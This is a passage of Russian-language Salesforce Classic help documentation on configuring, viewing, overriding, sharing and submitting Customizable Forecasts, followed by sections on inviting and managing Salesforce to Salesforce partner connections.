указывает на отсутствиефункции настраиваемого прогнозирования в организации.

• Отсутствиеобеих кнопок указываетна то, что ворганизацииуже включенафункция
настраиваемого прогнозирования.

Чтобы включить функцию настраиваемого прогнозирования, выполните указанные
ниже действия.

1. В разделе «Настройка» введите «Прогнозы (настраиваемые)» в поле «Быстрый поиск», затем выберите «Прогнозы
(настраиваемые)».

2. Установите флажок «Включить настраиваемое прогнозирование».

3. После включения функции настраиваемого прогнозирования см. раздел «Настройка функции настраиваемого
прогнозирования».

СМ. ТАКЖЕ:

Общие сведения о настраиваемом прогнозировании

Чем отличаются версии прогнозирования?
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Настройка планов продаж для настраиваемого прогнозирования

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки плана
продаж:
• «Редактирование

личных планов продаж»

Для настройки плана
продаж другого
пользователя:
• «Управление

внутренними
пользователями»

И

«Изменение всех
данных»

Пользователи, которымпредоставленысоответствующиеполномочия, могутнастраивать
собственные планы продаж. Администраторы и пользователи с соответствующими
полномочиями могут всегда редактировать любые планы продаж, а менеджеры могут
всегда изменять планы продаж нижестоящих пользователей в иерархии ролей.

1. Выполните одно из указанных ниже действий.

• Чтобы настроить личный план продаж, откройте страницу личных сведений в
личных параметрах.

• Чтобы изменить план продаж для подчиненного пользователя, откройте
настройки и введите строку «Пользователи» в поле «Быстрый поиск», затем
выберите пункт «Пользователи» ищелкните имя соответствующего
пользователя.

2. Нажмите кнопку «Правка» в связанном списке «Планы продаж».

3. Выберитеначалодиапазонаиегодлину. Принеобходимостивыберите территорию
и группу продуктов.

Прим.: Если организация использует настраиваемые финансовые года, то
планы продаж могут быть заданы только для периодов, поддерживающих
заданныйфинансовый год.

4. Введите стоимости плана продаж для дохода и/или количества.

5. При использовании мультивалюты выберите нужную валюту.

6. Чтобысохранитьпланпродажиоткрытьстраницусведенийопользователе, нажмите
кнопку «Сохранить». Чтобы сохранить значения и продолжить редактирование
плана продаж, нажмите кнопку «Быстрое сохранение».

Совет: Кнопка «Быстрое сохранение» позволяет быстро настраивать
отдельные планы продаж для каждой группы продуктов.

Прим.: Данные параметры могут быть недоступны в том случае, если функция
настраиваемого прогнозирования отключена. Чтобы определить доступность
настраиваемогопрогнозированияворганизации, см. раздел «Включеналифункция
настраиваемого прогнозирования?» на странице 1682. Связанный список «Планы
продаж» не отображается делегированным администраторам в записях
пользователей.

Пакетное обновлениеплановпродажможет быть выполненопосредствомприложенияData Loader. Настройте значение
поля обновляемого плана продаж для объекта RevenueForecast или QuantityForecast.

СМ. ТАКЖЕ:

Общие сведения о настраиваемом прогнозировании

Управление настраиваемыми прогнозами
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Работа с категориями прогнозов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Прим.: Данные сведения относятся только к функции настраиваемого
прогнозирования и не относятся к продукту «Совместные прогнозы».

Прогноз — этопредставлениестоимостей, датиэтаповвозможностей. Откройтевкладку
«Прогнозы» и обратите внимание, что стоимостям прогнозов соответствуют разные
категории. Нижеперечисленыкатегориипрогнозов, доступность которыхопределяется
этапом возможности.

• «Благоприятныйпрогноз»: стоимости, предназначенныедля закрытия, стоимости
закрытых/реализованных возможностей и стоимости в категории «Обязательство».

• «Закрыто»: стоимости закрытых/реализованных возможностей.

• «Обязательство»: стоимости закрываемых возможностей и стоимости
закрытых/реализованных возможностей.

• «Пропущено»: стоимость, которая не используется прогнозом.

• «Ожидаемые продажи»: стоимости всех открытых возможностей.

Прим.: Система позволяет редактировать поле возможностей «Категория прогноза» с целью изменения значения,
отображаемого вотчетах, на страницахпросмотраиредактирования сведенийовозможностях, а также врезультатах
поиска и списковых представлениях возможностей. Например, чтобы разрешить соответствие имени категории
бизнес-процессу, измените значение категории «Обязательство» на значение «Реализовано».

Каждое значение раскрывающегося списка возможности «Этап» автоматически соотносится с полем «Вероятность» и
значениемраскрывающегосясписка «Категория прогноза». Чтобыизменитьзначенияполей «Вероятность» и «Категория
прогноза», измените поле возможности «Этап».

Например, этап Negotiation/Review могбытьсоотнесенскатегориейпрогноза «Благоприятныйпрогноз». Другимисловами,
стоимости возможностей на этапе Negotiation/Review добавляются в стоимость прогноза «Благоприятный прогноз».
Организация может настраивать разные соотнесения. Ниже приведен пример соотнесения данных полей.

Категория прогнозаВероятностьЭтап

Ожидаемые продажи10%Prospecting

Ожидаемые продажи10%Qualification

Ожидаемые продажи20%Needs Analysis

Ожидаемые продажи50%Value Proposition

Ожидаемые продажи60%Id Decision Makers

Ожидаемые продажи70%Perception Analysis

Ожидаемые продажи75%Proposal/Price Quote

Благоприятный прогноз90%Negotiation/Review

Обязательство100%Closed Won
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Независимоотиспользованияфункциинастраиваемогопрогнозирования, прогнозыопираютсянасоотнесениезначений
раскрывающегося списка «Этап» со значениями раскрывающегося списка «Категория прогноза».

СМ. ТАКЖЕ:

Общие сведения о настраиваемом прогнозировании

Управление настраиваемыми прогнозами

Управление настраиваемыми прогнозами

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра прогнозов
других пользователей:
• «Просмотр всех

прогнозов»

Для переопределения
прогноза:
• «Переопределение

прогнозов»

Прим.: Данные сведения относятся только к функции настраиваемого
прогнозирования и не относятся к продукту «Совместные прогнозы».

Прогнозы содержат стоимости, даты и этапы возможностей. Чтобы гарантировать, что
прогнозы являются точнымпредставлением возможного дохода, выполните указанные
ниже действия.

1. Просмотрите стоимости прогнозов. Дополнительную информацию о разных
способах просмотра см. в разделе «Просмотр настраиваемых прогнозов».

2. Определите необходимость переопределения стоимостей.

3. При необходимости переопределите стоимости. Данное действие требует наличия
соответствующего полномочия пользователя. См. раздел «Переопределение
настраиваемых прогнозов» на странице 1688.

4. Чтобыпредоставитьдоступкснимкуданныхпрогнозавжурналепрогнозаиотчетах
по прогнозам, отправьте нужный прогноз. См. раздел «Отправка настраиваемых
прогнозов».
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Просмотр настраиваемых прогнозов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра прогнозов
других пользователей:
• «Просмотр всех

прогнозов»

Для переопределения
прогноза:
• «Переопределение

прогнозов»

Прим.: Данные сведения относятся только к функции настраиваемого
прогнозирования и не относятся к продукту «Совместные прогнозы».

Откройте вкладку «Прогнозы», просмотрите перечисленные стоимости и определите
их готовность для отправки.

• Изначальноимя пользователя отображается в строке заголовка и над полем «Поиск
прогноза:», указывая, что пользователь просматривает собственный прогноз. При
наличиисоответствующихполномочийпользователимогутнажимать значоклупы
и выбирать другого пользователя или роль для просмотра его прогноза. При
просмотре прогноза, принадлежащего другому пользователю, роль или имя
пользователя отображается в строке заголовка и над полем «Поиск прогноза:».
Кроме того, уровень доступа пользователя будет отображаться над полем «Поиск
прогноза:».

Прим.: Общий доступ к пользователям поддерживается функцией
настраиваемого прогнозирования не полностью. Независимо от единого
стандартного параметра для объекта «Пользователь», общий доступ
предоставляется ко всем пользователям организации.

• Еслиорганизацияиспользуетобщийдоступкпрогнозам, предоставляемыйвручную,
нажмите кнопку «Общий доступ» для просмотра параметров общего доступа или
предоставления общего доступа другим пользователям.

• Если организация использует территории, выберите нужное значение
раскрывающегося списка «Территория» для резюмирования прогноза. См. раздел
«Управление территориями».

• Если организация использует группы продуктов, выберите нужное значение раскрывающегося списка «Группа
продуктов» длярезюмированияпрогноза. Выборзначения «Все» инициируетотключениепараметров«Отправить»
и «История прогноза». Чтобы включить данные параметры, выберите другую группу продуктов. Дополнительную
информациюонастройке организации для использования групп продуктов см. в разделе «Определение параметров
настраиваемых прогнозов».

• Если организация поддерживает прогнозы по доходу и количеству, выберите объект прогнозирования (доход,
количество или доход и количество). Данное действие определяет сведения, отображаемые для каждой указанной
стоимости.

• Чтобы просмотреть другой период прогноза, выберите нужный диапазон дат в поле «Начало диапазона». Сведения
о прогнозах для возможностей, закрытых не менее чем за два года до внедрения функции настраиваемого
прогнозирования или более чем через 10 лет в будущем, будут недоступны.

Прим.: Организации, внедрившие функцию настраиваемого прогнозирования до выпуска Winter'07 системы
Salesforce, могут просматривать прогнозы вне данного диапазона.

• Чтобы просмотреть больше или меньше периодов прогноза, настройте параметр «Длина диапазона».

Прим.: Прииспользованиинастраиваемыхфинансовыхлетпериоды, расположенныепередпервымзаданным
настраиваемымфинансовым годом или за последним заданнымфинансовым годом, используют календарные
месяцыиликалендарныекварталы (в зависимостиотпараметрапрогноза) дляначаладиапазонаидлиныпериода.
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• Чтобы просмотреть итоги прогноза посредством другой единицы измерения, выберите нужное значение напротив
поля «Единицы отображения». Чтобы просмотреть долю, соответствующую каждому итоговому значению в плане
продаж, выберите «План продаж (%)».

Просмотр истории прогноза
Чтобыпросмотретьснимкиданныхпрогноза, сделанныеприегоотправке, щелкните«Историяпрогноза»припросмотре
прогнозанавкладке «Прогнозы». Принеобходимостипросмотритеотправленныепрогнозыподчиненныхпользователей.
Чтобы вернуться к предыдущему представлению, щелкните «Резюме прогноза».

Просмотр сведений о стоимости прогноза
Чтобы просмотреть сведения о прогнозе, откройте вложенную вкладку «Прогнозы». Чтобы просмотреть сведения о
стоимостяхвозможности, добавленныхвстоимостьпрогноза, щелкнитенужнуюстоимостьпрогноза. Чтобыпросмотреть
любой указанный элемент, щелкните нужный элемент на странице сведений. Чтобы переопределить данный элемент,
щелкните«Правка». Дополнительнуюинформациюопереопределениистоимостейпрогнозанастраницевозможности
см. в разделе «Переопределение настраиваемых прогнозов».

Прогнозы прямых подчиненных (при их наличии) отображаются под собственными прогнозами. Параметр «Выбрать
представление» позволяет изменить способ отображения сведений о прогнозе для прямых подчиненных. Рекомендуем
использовать данный параметр для группирования данных прогноза по подчиненному или периоду прогноза.

• Значение «Просмотр по периоду» возвращает список прямых подчиненных и их прогнозы для каждого периода
прогноза. Чтобы просмотреть соответствующий прогноз, щелкните имя нужного пользователя.

• Значение «Просмотр по прямому подчиненному» возвращает список итогов прогноза для каждого прямого
подчиненного. Чтобы просмотреть соответствующий прогноз, щелкните ссылку «Просмотр» напротив имени
нужного подчиненного.

• Чтобы просмотреть возможности и добавленные переопределения прогноза, щелкните нужную стоимость.

Просмотр возможностей
Чтобыпросмотреть возможности, добавленные в отображаемыйпрогноз, откройте вложеннуювкладку «Возможности».
Вложенная вкладка «Возможности» позволяет выбирать или создавать списковое представление для дальнейшей
фильтрацииотображаемыхвозможностей. Чтобыпросмотретьсведенияовозможности, щелкнитенужнуювозможность.
Чтобы переопределить возможность, нажмите кнопку «Правка». Дополнительную информацию о переопределении
возможностей см. в разделе «Переопределение настраиваемых прогнозов».

При наличии полномочия «Просмотр всех прогнозов» пользователи могут просматривать возможности на вложенной
вкладке «Возможности», независимо от параметров общего доступа.

Прим.: Припереносепартнерскогопорталавдругуюорганизациювозможностикаждойорганизацииавтоматически
пересчитываются посредством иерархии прогнозов организации.

СМ. ТАКЖЕ:

Общие сведения о настраиваемом прогнозировании

Управление настраиваемыми прогнозами
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Переопределение настраиваемых прогнозов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра прогнозов
других пользователей:
• «Просмотр всех

прогнозов»

Для переопределения
прогноза:
• «Переопределение

прогнозов»

Прим.: Данные сведения относятся только к функции настраиваемого
прогнозирования и не относятся к продукту «Совместные прогнозы».

Переопределениестоимостейпрогнозовпозволяетпрогнозамотображатьболееточную
оценку прогнозируемых продаж. Любой пользователь может переопределить прогноз
на странице возможностипутемизмененияполя возможности «Этап» или «Категория
прогноза». При наличии полномочия «Переопределение прогнозов» пользователи
могут переопределять собственные прогнозы, а также прогнозы любых прямых
подчиненных на уровне прогноза.

Перенос возможности из одной категории прогноза в другую (например, из категории
«Благоприятный прогноз» в категорию «Обязательство») инициирует изменение
неуточненных исходных стоимостей для каждой используемой категории;
переопределенные стоимости не меняются. Чтобы учесть изменения на этапе
возможностей, рекомендуемобновитьилиудалитьпереопределения, внесенныевкаждую
категорию прогноза.

Переопределение прогноза на странице возможности
1. Откройте вложенную вкладку «Возможности» на странице «Прогнозы».

2. Щелкните ссылку «Правка» напротив нужной возможности.

3. При необходимости измените сведения. Доступные параметры определяются
наличием ответственности за возможность.

4. Если возможность содержит продукты, для которых требуется изменить категорию
прогноза, выберите «Изменить категорию», а затем заполните поле «Категория
прогноза продукта».

5. Нажмите кнопку «Сохранить». Возможность помечается соответствующим значком, указывающим на статус
переопределения.

Чтобы обновить запись и повторно показать итоги, нажмите кнопку «Сохранить и обновить».

Переопределение итогов прогноза
1. Откройте вложенную вкладку «Прогнозы» на странице «Прогнозы».

2. Чтобы переопределить скорректированные итоги, щелкните значок редактирования ( ).

3. Введите новую стоимость и любой комментарий.

4. Нажмите кнопку «Сохранить». Прогноз помечается соответствующим значком, указывающим на статус
переопределения.

Переопределение прогноза прямого подчиненного
1. Откройте вложенную вкладку «Прогнозы» на странице «Прогнозы».

2. Чтобы переопределить прогноз прямого подчиненного, щелкните значок редактирования ( ).

3. Чтобы определить стоимости переопределения, которые должны быть добавлены в прогноз, выберите нужный
параметр переопределения.
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«Принятьпрогнозпользователя»: рекомендуемиспользоватьданныйпараметрдляпринятияпрогнозапрямого
подчиненного, включая все внесенные переопределения.

•

• «Отклонять любые переопределения прогноза пользователя, но принимать переопределения прогноза
от других подчиненных сотрудников»: рекомендуем использовать данный параметр для отклонения
переопределений, внесенных в прогноз прямого подчиненного, но принятия всех переопределений, внесенных
в прогнозы нижестоящих пользователей.

• «Отклонять все переопределения прогноза»: рекомендуем использовать данный параметр для отклонения
всех переопределенийна уровне прогноза, но принятия переопределенийна уровне возможности. Приналичии
переопределенныхстоимостейвозможностиданноевычислениеиспользуетсобственныепрогнозывозможности.
Данный параметр позволяет использовать стоимости возможностей, включая переопределения, внесенные на
уровне возможности, в основе стоимостей прогнозов.

• «Переопределитьпрогнозиустановитьдлянегозначение»: рекомендуемиспользоватьданныйпараметрдля
вводастоимости, предназначеннойдля заменытекущейстоимостипрогноза. Даннаястоимостьбудетотображаться
менеджеру и будет недоступна для подчиненных.

4. При составлении прогноза на основе дохода и количества выберите параметр переопределения для прогноза по
количеству.

5. Нажмите кнопку «Сохранить». Прогноз помечается соответствующим значком, указывающим на статус
переопределения.

Прим.: В отличие от других вкладок, вкладка «Прогнозы» автоматически вычисляет данные на основе данных
возможности. Создание или удаление записей прогнозов не требуется.

СМ. ТАКЖЕ:

Общие сведения о настраиваемом прогнозировании

Управление настраиваемыми прогнозами
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Переопределение настраиваемых прогнозов из раздела коммерческих возможностей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра прогнозов
других пользователей:
• «Просмотр всех

прогнозов»

Для переопределения
прогноза:
• «Переопределение

прогнозов»

Переопределение прогноза — это уточненная сумма ожидаемых продаж. Список
переопределений и внесение изменений со страницы сведений о коммерческих
возможностях.

Прим.: Данные сведения относятся только к функции настраиваемого
прогнозирования и не относятся к продукту «Совместные прогнозы».

1. В связанном списке Прогнозы по коммерческой возможности конкретной записи
коммерческой возможности щелкнитеИзменить.

2. Внесите нужные изменения в эти сведения. Дополнительную информацию о
переопределении стоимостей прогнозов возможностей см. в разделе
«Переопределение настраиваемых прогнозов».

Если в организации включена функция управления территориями, то территория,
назначенная возможности, отображается в раскрывающемся списке «Территория».

Еслитекущийпользовательявляетсяменеджеромпрогнозовдлянесколькихтерриторий,
то раскрывающийся список содержит территории, которые могут использоваться для
переопределения возможности. Чтобы переопределить возможность в нужной
территории, выберите значение и щелкните «Правка».

СМ. ТАКЖЕ:

Управление территориями

Предоставление общего доступа к прогнозам вручную

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Прим.: Данные сведения относятся только к функции настраиваемого
прогнозирования и не относятся к продукту «Совместные прогнозы».

Администратор создает иерархию прогнозов организации, определяющую
пользователей, которые могут просматривать данные прогноза. Администратор может
вручную расширить полномочия общего доступа к данным прогнозов, тогда как
пользователи могут вручную расширять полномочия общего доступа к данным
собственных прогнозов. Общий доступ к прогнозам, предоставляемый вручную,
позволяет только расширять уровень доступа к данным прогнозов; текущий уровень
доступапользователейнеможетбытьограничен. Общийдоступкпрогнозуможетбыть
предоставленвручнуютолькоприналичииполномочияадминистратораилименеджера
прогнозов.

Чтобы просмотреть пользователей, которые могут просматривать прогноз или
предоставлять доступ к данным прогноза, выполните одно из указанных ниже действий.

• Введите строку «Иерархия прогнозов» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «Иерархия
прогнозов», затем щелкните «Общий доступ» около нужного представления.

• Чтобы предоставить доступ к данным собственного прогноза, нажмите кнопку «Общий доступ» на начальной
странице прогнозов.
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Список «Общий доступ пользователя и группы» содержит всех пользователей, имеющих доступ к данным прогноза.
Кроме того, данный список определяет текущий уровень доступа пользователей, возможность отправки прогноза и
причинупредоставления доступа. Нижеперечислены возможныепричиныпредоставления доступа к даннымпрогноза.

ОписаниеПричина

Пользователь является администратором или обладает
полномочием «Изменение всех данных».

Администратор

Доступ к даннымпрогноза предоставляется пользователю
посредством кнопки «Общий доступ» в прогнозе.

Делегированный менеджер прогнозов

Пользователь является менеджеромпрогнозов в иерархии
прогнозов.

Менеджер прогнозов

Ответственный может всегда просматривать данные
собственного прогноза.

Ответственный

Пользователь обладает полномочием «Просмотр всех
прогнозов».

Полномочие «Просмотр всех прогнозов»

Ниже перечислены действия, доступные на странице «Сведения об общем доступе к прогнозу».

• Чтобыпросмотретьотфильтрованныйсписок элементов, выберитенужноепредставлениевраскрывающемсясписке
«Просмотр» илищелкните ссылку «Создать новое представление» для разработки собственных настраиваемых
представлений.Чтобыизменитьилиудалитьлюбоесозданноепредставление, выберите его враскрывающемсясписке
«Просмотр» ищелкните ссылку «Правка».

• Чтобы предоставить другим пользователям или группам доступ к данным прогноза, нажмите кнопку «Добавить».

Прим.: Общий доступ, предоставляемый вручную, распространяется на данные возможности, являющиеся
частьюпрогноза. Приналичииполномочиянапереопределениеданныхпрогнозапользователюпредоставляется
полномочие на переопределение данных прогноза возможности.

• Чтобыпросмотреть всехпользователей, имеющихдоступкданнымпрогноза, нажмитекнопку «Развернутьсписок».

• Чтобы изменить или удалить уровень доступа, щелкните ссылку «Правка» или «Удал.» напротив нужного элемента
списка при использовании созданных правил общего доступа, предоставляемого вручную.

СМ. ТАКЖЕ:

Определение параметров настраиваемых прогнозов

Настройка функции настраиваемого прогнозирования
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Отправка настраиваемых прогнозов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра прогнозов
других пользователей:
• «Просмотр всех

прогнозов»

Для переопределения
прогноза:
• «Переопределение

прогнозов»

Прим.: Данные сведения относятся только к функции настраиваемого
прогнозирования и не относятся к продукту «Совместные прогнозы».

Вкладка «Прогнозы» всегда предоставляет доступ к итогам прогнозов текущему
пользователю и вышестоящим пользователям в иерархии ролей. Тем не менее, итоги
прогнозов доступны в журнале прогноза и отчетах только после их отправки.
Пользователи могут отправлять собственные прогнозы или данные любых прогнозов,
доступ к которым предоставляется вручную (при наличии соответствующего
полномочия).

Чтобы отправить прогноз, выполните указанные ниже действия.

1. Нажмите кнопку «Отправить» на странице прогноза на вкладке «Прогнозы».

2. Нажмите кнопку «OK». Система Salesforce создает снимок итогов прогноза и
предоставляет к ним доступ в отчетах и журнале прогноза.

СМ. ТАКЖЕ:

Просмотр настраиваемых прогнозов

Управление настраиваемыми прогнозами

Многоканальные продажи

Предоставление бизнес-партнерам общего доступа к данным Salesforce

Общие сведения о функции Salesforce to Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Функция Salesforce to Salesforce обеспечивает взаимодействие бизнес-партнеров внутри
и за пределами организаций Salesforce. Данная функция позволяет использовать
определенные записи совместно с бизнес-партнерами, имеющими доступ к системе
Salesforce, а также обновлять общедоступные данные в режиме реального времени.
Например, данные об интересах и возможностях могут быть предоставлены
бизнес-партнерам для управления ожидаемыми продажами в системе Salesforce.

Функция Salesforce to Salesforce обеспечивает удобное и эффективное взаимодействие с
бизнес-партнерами. Благодаря функции Salesforce to Salesforce, записи могут быть
доступны как минимум одному подключению, которое может принимать записи,
принятые другими подключениями.

Нижеперечисленыдействия, доступныебизнес-партнерамприиспользованиифункции
Salesforce to Salesforce.

• Централизованный доступ ко всем своим программам

• Удобная интеграция собственных данных с данными, управляемыми в системе Salesforce

• Интеграция бизнес-процессов и обновлений, полученных от текущего пользователя

Ниже перечислены действия, доступные пользователям при использованиифункции Salesforce to Salesforce.
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• Полный контроль над действиями партнеров

• Централизованное управление процессами продаж (реализация на внутреннем рынке и посредством каналов
распределения)

• Быстрый и удобный обмен данными между разноуровневыми партнерами

• Интеграция бизнес-процессов и обновлений, полученных от партнеров, посредством бизнес-правил и правил
назначения

Чтобыузнать, используютлипотенциальныепартнерысистему Salesforce, воспользуйтесьприложениемConnection Finder.

Дополнительнуюинформациюопринятииилиотклоненииприглашений Salesforce to Salesforce см. вразделе «Принятие
или отклонение приглашения на присоединение к Salesforce to Salesforce» на странице 1695.

Дополнительнуюинформациюоботправкеприглашенийдругимкомпаниямспомощьюфункции Salesforce to Salesforce
см. в разделе «Приглашение бизнес-партнеров к подключению с помощьюфункции Salesforce to Salesforce».

Прим.: Функция Salesforce to Salesforce позволяетнетолькообмениватьсяинформациейсосвоимибизнес-партнерами,
но также является частью высоконадежного решения по имени «Синхронизация организации». Дополнительную
информацию о синхронизации организации см. в разделе «Синхронизация организации».

СМ. ТАКЖЕ:

Советы по использованиюфункции Salesforce to Salesforce

Запрос на предмет использования партнерами системы Salesforce

Приглашение бизнес-партнеров к подключению с помощью Salesforce to Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для приглашения
бизнес-партнеров к
подключениюпосредством
функции Salesforce to
Salesforce:
• «Управление

подключениями»

Прежде чем предоставить бизнес-партнерам общий доступ к данным, рекомендуем
настроить подключение с помощьюфункции Salesforce to Salesforce. Чтобы создать
подключение, необходимо пригласить бизнес-партнера.

Прим.: Прежде чем отправить приглашение, рекомендуем создать организацию
и связанный контакт для бизнес-партнера.

Чтобы пригласить бизнес-партнера с помощьюфункции Salesforce to Salesforce,
выполните указанные ниже действия.

1. Откройте вкладку «Подключения».

2. Нажмите кнопку «Создать».

3. Введите имя контакта или щелкните значок поиска.

Важное замечание: Проверьте адрес эл. почты. В противном случае
приглашение может быть отправлено неверному получателю.

4. При необходимости выберите связанную организацию.

Прим.: Организация, связанная с подключением, может быть изменена после
отправки приглашения.

5. Выберите пользователя для управления подключением.

6. При необходимости выберите шаблон для применения к подключению.

7. Нажмите кнопку «Сохранить и отправить приглашение».
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Чтобыпригласитьнесколькихбизнес-партнеров с помощьюфункции Salesforce to Salesforce, выполните указанныениже
действия.

1. Откройте вкладку «Контакты».

2. Выберите стандартное или настраиваемое списковое представление и нажмите кнопку «Начать».

3. Выберите нужные контакты в списковом представлении.

Важное замечание: Проверьте адреса эл. почты. В противном случае приглашения могут быть отправлены
неверным получателям.

4. Нажмите кнопку «Пригласить к подключению».

5. Выберите пользователя для управления подключением.

6. При необходимости выберите шаблон для применения к подключению.

7. Нажмите кнопку «Сохранить и отправить приглашение».

ПользователиполучатэлектронноеприглашениекподключениюспомощьюфункцииSalesforce to Salesforce. Приглашение
может быть принято или отклонено. Статус приглашения можно просмотреть на вкладке «Подключения». Кроме того,
вкладка «Подключения» позволяет отправить повторное приглашение или отменить отправленное приглашение.
Дополнительную информацию о подключениях см. в разделе «Начальная страница подключений» на странице 1696.

Прим.: Дополнительнуюинформациюоб отправке приглашения на подключение репликации «Синхронизация
организации» в функции Salesforce to Salesforce см. в разделе «Подключение организаций».

СМ. ТАКЖЕ:

Запрос на предмет использования партнерами системы Salesforce

Шаблоны подключения в функции Salesforce to Salesforce

Создание и применение шаблонов подключения
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Принятие или отклонение приглашения на присоединение к Salesforce to Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для принятия или
отклонения приглашения
посредством функции
Salesforce to Salesforce:
• «Управление

подключениями»

Чтобы принять или отклонить приглашение, отправленное бизнес-партнером
посредством функции Salesforce to Salesforce, выполните указанные ниже действия.

1. ЧтобыперейтинастраницувходавсистемуSalesforce, щелкнитессылкувэлектронном
приглашении.

2. Войдите в систему в качестве системного администратора или пользователя с
полномочием «Управление подключениями».

3. Просмотрите сведения о приглашении.

4. Щелкните «Принять» или «Отклонить».

Чтобыпринятьилиотклонитьприглашениевдругойраз, нажмитекнопку «Решить
позже». Данноеприглашениеотображаетсяна вкладке «Подключения» со статусом
«Приглашение получено». При необходимости приглашение может быть принято
или отклонено позже.

Компания, отправившая приглашение, получает электронное уведомление о принятии
или отклонении данного приглашения. Чтобы настроить содержимое данного
уведомления, рекомендуем изменить соответствующийшаблон эл. почты.

СМ. ТАКЖЕ:

Общие сведения о функции Salesforce to Salesforce

Советы по использованиюфункции Salesforce to Salesforce
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Начальная страница подключений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Дляпросмотра и управления
подключениями Salesforce
to Salesforce:
• «Управление

подключениями»

Дляпросмотра и управления
шаблонами Salesforce to
Salesforce:
• «Управление

подключениями»

Вкладка «Подключения» позволяет управлять подключениями ишаблонами
подключений Salesforce to Salesforce. Нижеперечисленыдействия, доступныена вкладке
«Подключения».

• Для управления подключениями откройте вложенную вкладку «Подключения».
Данная вкладка содержит всех приглашенных пользователей (принявших,
отклонивших или еще не ответивших на приглашение), а также все полученные
приглашения. Недавние подключения отображаются на вложенной вкладке
«Подключения» автоматически.

– Чтобы просмотреть сведения о подключении, щелкните имя нужного
подключения.

– Чтобы добавить новое подключение, нажмите кнопку «Создать», введите
необходимые сведения и нажмите кнопку «Сохранить и отправить
приглашение».

– Чтобы деактивировать подключение, нажмите кнопку «Деактивировать».

– Чтобы повторно отправить приглашение, которое еще не было принято,
щелкните ссылку «Отправить повторно». Чтобы отменить приглашение,
щелкните ссылку «Отмена приглашения». Дополнительную информацию об
отправке приглашений см. в разделе «Приглашение бизнес-партнеров к
подключению с помощьюфункции Salesforce to Salesforce» на странице 1693.

• Дляуправленияшаблонамиподключенийоткройтевложеннуювкладку «Шаблоны».
Шаблоны позволяют определять и публиковать наборы объектов и полей как
минимум для одного стандартного подключения Salesforce to Salesforce. Недавние
шаблоны отображаются на вложенной вкладке «Шаблоны» автоматически.

– Чтобы просмотреть отфильтрованный список элементов, выберите нужное
представление в раскрывающемся списке «Просмотр» илищелкните ссылку
«Создать новое представление» для разработки собственных настраиваемых представлений. Чтобы изменить
или удалить любое созданное представление, выберите его в раскрывающемся списке «Просмотр» ищелкните
ссылку «Правка».

– Чтобы просмотреть сведения о шаблоне, щелкните имя нужного шаблона.

– Чтобы добавить новыйшаблон, нажмите кнопку «Создать».

– Чтобыизменитьшаблон, щелкнитессылку«Правка»напротивнужногошаблона. Дополнительнуюинформацию
об использованиишаблонов см. в разделе «Создание и применение шаблонов подключения» на странице 1699.

Прим.: Дополнительнуюинформациюо синхронизации организации, высоконадежнойфункции на платформе
Salesforce to Salesforce, см. в разделе «Синхронизация организации».

СМ. ТАКЖЕ:

Управление подключениями
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Управление подключениями

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для управления
подключениями:
• «Управление

подключениями»

Вкладка «Подключения» позволяетпросматриватьсведенияоподключенияхиуправлять
подключениями. Раздел сведений содержит данные о статусе подключения,
ответственном, компании, опубликованных и подписанных полях, а также журнале
подключений.

Чтобы просмотреть подключение, выполните указанные ниже действия.

1. Откройте вкладку «Подключения».

2. Выберите имя нужного подключения на вложенной вкладке «Подключения».

Ниже перечислены действия, доступные на странице сведений о подключении.

Принятие приглашения
Чтобыпринятьприглашение, отправленноебизнес-партнеромпосредствомфункции
Salesforce to Salesforce, нажмите кнопку «Принять». Пользователь, принявший
